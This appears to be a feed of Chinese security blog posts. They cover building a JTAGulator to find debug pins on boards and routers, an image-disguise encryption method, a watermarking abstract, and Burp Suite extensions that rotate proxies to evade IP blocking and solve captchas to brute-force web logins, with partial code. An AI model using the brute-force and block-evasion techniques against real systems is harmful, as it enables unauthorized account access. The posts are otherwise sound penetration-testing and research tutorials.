JTAG最初是用来对芯片进行测试的,其基本原理是在器件内部定义一个TAP(Test Access Port)并规定TAP状态机的行为,通过专用的测试工具进行内部节点进行测试。JTAG测试允许多个器件通过JTAG接口串联在一起,形成一个JTAG链,能实现对各个器件分别测试。现在,JTAG接口还常用于实现ISP(In-System Programmable),对Flash等器件进行编程。下面,我们介绍一下这5个接口:
JTAG接口可以一对一的使用,也可以组成菊花链的一对多拓扑结构,两种拓扑结构如下图所示。多核的芯片,其芯片内部已经接成了菊花链的形式。
JTAGulator官方售价$169,某宝代购价人民币1500元左右,自己DIY成本可以控制在每块板子人民币500元以内。
在JTAGulator的官网可以下载制作JTAGulator所需的所有资料,GERBER光绘文件,BOM元件列表等等。
把GERBER光绘文件发往工厂打样PCB,等待2-3天即可到货,然后购买BOM表中的电子元器件。PCB我是在嘉立创打样,电子元件在立创商城购买。
按照官网提供的PCB装配图将电子元器件用烙铁和焊锡焊接在PCB电路板上面。焊接完成后用洗板水清理松香和助焊剂的残留,在上电之前仔细检查是否存在虚焊和短路现象。
通过Mini USB数据线连接电脑,打开“设备管理器”会看到一个串行通信端口。
硬件测试没问题后在Github下载程序固件源码,给设备烧录程序固件需要安装芯片的烧录工具Propeller Tool。
将下载的程序固件源码解压出来,打开里面的”JTAGulator.eeprom”文件,点击”Load ARM”就可以烧录固件进板子。
烧录完毕用串口调试工具打开JTAGulator对应的COM端口,波特路115200,按一下回车键,返回数据即可,”H”查看帮助,”I”查看版本。
用一块STM32开发板做测试,假装不知道它的引脚定义,板子单独供电,先用万用表测出GND引脚,然后把需要识别的引脚和GND引脚用杜邦线接到JTAGulator上。
输入”J”进入JTAG模式,”V”设置电压,”I”是IDCODE扫描,然后设置通道范围,成功识别出引定义。
拿一台网件的路由器做测试,一样的步骤,先用万用表测出GND引脚,然后把剩下的脚接到JTAGulator上。
成功识别出TX和RX引脚。
还可以用JTAGulator通过UART串口调试路由器。
JTAGulator能够快速识别哪些引脚可能是JTAG,并找出这些引脚的顺序,在这里感谢作者Joe Grand开源这款硬件工具。
没有条件DIY的朋友可以尝试另一个比较便宜的方案JTAGenum,使用Arduino Nano开发板或树莓派烧录程序即可 。
JTAGulator和JTAGenum两者之间的差别是,JTAGulator硬件内置了电平转换和输入保护,就软件方面而言JTAGulator提供UART扫描,JTAGenum目前并不支持,JTAGulator还提供扫描未记录的JTAG接口功能,这也是JTAGenum目前不支持的功能。
1、联想全球安全实验室《JTAGulator的制作与固件读取(上)》
2、http://www.grandideastudio.com/jtagulator/
3、https://github.com/grandideastudio/jtagulator
4、https://blog.csdn.net/beetleinv/article/details/86372466
《孙子兵法》“虚实篇”中提出“故形人而我无形,则我专而敌分”,即“示伪形于敌,而我之真形则藏而不露”,指出了“伪装”对促进战争制胜的重要作用。
当然,伪装绝对是一个技术活 ……
信息伪装就是将秘密信息隐藏于另一非机密的文件内容之中,其形式可以是任何一种数字媒体,如图像、声音、视频等等。信息伪装技术不同于传统的加密技术,密码仅仅隐藏了信息的内容,而信息伪装不但隐藏了信息的内容而且隐藏了信息的存在。
一般来说,信息伪装技术具有隐蔽性、安全性、对称性和可纠错性四大特性。信息伪装技术包含的内容范围十分广泛,可以分为伪装术、数字水印、数据隐藏和数据嵌入等。其中图像伪装术和图像数字水印是人们研究的重点。信息伪装是一门不断发展的学科,许多新的分支和技术都在不断地涌现。可视密码学就是其中的一种。这种技术在恢复秘密图像时不需要任何复杂的密码学计算,而是直接以人的视觉系统即可将秘密图像辩识出来,完全不同于传统的密码技术,在解密过程中须靠大量且复杂的技术才可解出真正的信息。图像伪装是一门技巧性学问, 目前正在实用化方向发展。
受信息伪装思想的启发,提出一种可逆图像转换的图像加密方法。该方法可以将原始图像变换为大小相同的自由选择的目标图像。对于彩色图像,我们分别对颜色通道R, G, B进行相同的变换。因此,文章仅以灰度图像(一个通道)为例来描述该方法。对于原始图像I,我们从图像数据库中随机选择与I大小相同的目标图像J。
首先,我们将原始图像I和目标图像J分别分割成N个互不重叠的块,然后将I和J的块按(B1,T1),…,(BN,TN)组成块对,其中Bi是I的一个原始块,Ti是J的对应目标块,1 ≤i ≤N。将Bi转换成Ti,其实是生成一个类似Ti的T’i。然后将目标图像J中的每个Ti替换为T’i,得到变换后的图像J’。最后利用可逆信息嵌入方法将一些辅助信息嵌入到J’中,生成最终的伪装图像,也可以称为加密图像E(I)。这些辅助信息对于从J’恢复到I是必要的,在被嵌入之前,这些辅助信息将被压缩并使用与接收者共享的密钥K加密,因此只有拥有K的接收者才能解密E(I)。
所提出的转换过程包括三个步骤:块配对、块转换和边信息嵌入。我们主要阐述前两个步骤,第三个步骤可以用任何传统的可逆水印或可逆信息隐藏方法实现。
为了使变换后的图像J’看起来像目标图像J,我们希望每个变换后的块与目标块具有相近的均值(u)和标准差(SD)。因此,我们首先分别计算I和J的每个块的u和SD。设块B像素组成为 B={p1,p2,…,pn},则该块的均值(u)和标准差(SD)计算如下:
当原始图像与目标图像匹配时,我们希望两个SD最接近的图像块是一对。文献[1]中Lee等人的方法是将原始图像块和目标图像块分别按照它们的SD按升序排序,然后将每个原始块依次与对应的目标块按序配对。但是这种方法不可逆,也就是无法无损的还原原始图像。如果图像被分成N个块,则需要N[logN]比特来记录块索引。显然,块越小,变换后的图像质量就会越好,但是会导致一个很大的N。事实上,可能没有足够的冗余空间来存储这些额外的信息。因此,本文分块大小定为4×4。
为了压缩块索引,我们首先根据块的SD值对它们进行分类,然后再对它们进行配对。事实上,如图1所示,统计来自BossBase图像数据库的10000张不同大小的图像,我们发现大多数的SD值集中在一个接近于零的小范围内。因此,我们将数据块分成两个不相等比例的类:SDs较小的数据块为0类,SDs较大的数据块为1类,并将属于同一类的数据块进行配对。通过将大多数块分配给类0,我们可以避免一对块之间的SDs的大偏差,同时有效地压缩索引。
最后,为了尽可能地保持变换后的图像与目标图像之间的相似性,我们进一步将变换后的块旋转到0°、90°、180°或270°四个方向中的一个。选择最优方向,使旋转块与目标块之间的均方误差最小。
在变换和旋转之后,得到一个新的块T’。用这些新块替换相应目标图像的块并生成转换后的图像J’。参数Δu和旋转方向将被压缩,加密,然后嵌入转换后的图像J’作为边信息输出目标图像E (I),这也可以作为一种加密图像。
从BossBase图像数据库中随机选择10对图像作为我们的测试图像。首先对所有的图像进行预处理,得到大小相同的1024×1024像素。
如下图所示,展示了两张测试图像以及加密后的视觉效果。通过该方法得到的加密图像E(I)与目标图像相似,看起来像马赛克图像。由于加密后的图像与目标图像的差异较小,这种视觉效果能满足伪装的要求,即原始图像内容完全被目标图像内容所覆盖。即使攻击者识别出伪装,如果不知道加密算法与秘钥K,也不能恢复边信息,从而不能恢复图像。此外,边信息平均占用每个像素约0.521比特/像素元(bpp)。这对图像造成了较大的失真,但加密后的图像E(I)仍然可以保持一个较好的质量,其PSNR值大约等于30 dB,这是一个可以接受的视觉效果。
[1] Y. Lee and W. Tsai, “A new secure image transmission technique via secret-fragment-visible mosaic images by nearly reversible color transformation,” IEEE Trans. Circuits Syst. Video Technol., vol. 24, no. 4, pp. 695–703, Apr. 2014
]]>随着云制造技术的兴起,加密域可逆水印技术逐渐受到了较多的关注。然而,现有的大部分算法不仅只能应用于图像、视频等冗余性较大的载体,而且难以抵御常见的攻击,甚至只能在单一的域中提取水印。为此,本文针对冗余性较小的二维矢量图提出了一种可完全分离的二维矢量图加密域鲁棒可逆水印算法。首先,内容拥有者在极坐标系下利用加密密钥置乱顶点的极角以加密图形。随后,水印嵌入者在嵌入密钥以及哈希函数的控制下,把编码后的水印比特映射到不同顶点,再轻微调整顶点极角从而嵌入水印。由于解密操作不会影响已嵌入的水印,算法可以分别在明文域或密文域提取水印。实验结果与分析表明,算法不仅具有较好的不可见性,而且能有效抵御旋转、平移、缩放(RST)、实体重排序等常见的操作,甚至还能抵御顶点或实体的增加、删除等恶意攻击。
本文针对数据相关性较低的二维矢量图提出了一个可完全分离的加密域鲁棒可逆水印算法。实验结果表明,提出的算法不但具有较好的不可见性,且能抵御较多常见的操作与攻击,其鲁棒性优于现有同类算法。而且据公开文献,该工作为基于二维矢量图加密域可逆信息隐藏双域提取算法中的第一个工作。然而需要指出的是,提出的算法所依赖的参考点容易成为攻击者的目标从而使得算法失效。后续研究除了会继续改善该算法外,还将继续研究鲁棒可逆水印的相关理论与方法。
]]>上篇文章给 Burp Suite 添加验证码识别技能点,对于现代化的渗透测试神器来说,自动化切换 ip 也是必备技能,本文通过动态设置 HTTP 代理来完善此功能。
对于 HTTP 代理,HTTP 客户端向代理发送请求报文,代理服务器需要正确地处理请求和连接(例如正确处理 Connection: keep-alive),同时向服务器发送请求,并将收到的响应转发给客户端。
图片来源:《HTTP 权威指南》
原理较为简单,具体看数据包对比
正常访问
http 流
1 | GET / HTTP/1.1 |
代理访问
HTTP 代理 180.143.244.66:18637
http 流
1 | GET http://myip.ipip.net/ HTTP/1.1 |
可以看到正常访问和代理访问在数据层就是请求路径和目标不同。使用代理就是把数据带上目标信息先发送到代理服务器,要在 Burp Suite 中实现代理功能,动态修改请求目标和请求 header 即可 。
参考官方文档,修改 HTTP 请求,需要在脚本中实例化 IHttpListener 类并重写 processHttpMessage 方法。
1 | HTTP_PROXY={ |
接入代理平台或者 aws
继续使用上篇后台做演示
正常访问
开启拓展
1、HTTP 代理原理及实现(一)
https://imququ.com/post/web-proxy.html
2、 Burp Suite 文档
https://portswigger.net/burp/extender/api/burp/IHttpListener.html
3、使用AWS API 网关动态绕过防火墙
https://rhinosecuritylabs.com/aws/bypassing-ip-based-blocking-aws/
Burp Suite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,其各个组件之间可灵活配合,可定制化程度极高,正可谓居家旅行杀人越货必备之神器。但是当遇到各式各样的验证码,防火墙等场景,神器也无从下手。有幸 Burp Suite 提供了非常强大的开发接口,可根据需求自行强化,本文记录如何快速为 Burp Suite 添加验证码识别技能点 。
既然要敏捷开发,采用轻量级的脚本 python 来实现拓展最为快速灵活,也懒得去拖 swing 界面做交互,参数对应修改就行。本次验证码识别用于 Intruder 模块,在脚本中实例化 IntruderPayloadGenerator 类以及其 getNextPayload 方法即可,具体流程如下 。
1 | #验证码请求头 |
可以使用深度学习来识别验证码,或者接入第三方通用平台。本文为了简单就直接对接某个打码平台,参考平台文档,引入 api、设置对应的id、key 等参数即可 。
1 | class IntruderPayloadGenerator(IIntruderPayloadGenerator): |
https://github.com/yaseng/pentest/blob/master/misc/burp_captcha_crack.py
拿一个后台系统来做演示
1、先引入 jython-standalone 包以及相关模块
2、加载拓展 burp_captcha_crack.py
抓取验证码的请求头、url 写入脚本
这种场景下的暴力破解,需要自动化填入用户名、密码、验证码三个字段。对于前两个来说,一般是两个字典的迭代组合,后一个验证码不加入迭代计算。先标记用户名+密码,验证码两个变量,并且使用 Pitchfork 模式 。
此时 payload1 为1
§admin&password=admin232323§
类型自定义迭代器(Custom interator)
payload 2 类型 Extension-Generated
选择对应的拓展
1、官方案例 https://portswigger.net/burp/extender#SampleExtensions
2、Burp Suite Extender reCAPTCHA https://github.com/bit4woo/reCAPTCHA
3、cnn 验证码识别 https://github.com/nickliqian/cnn_captcha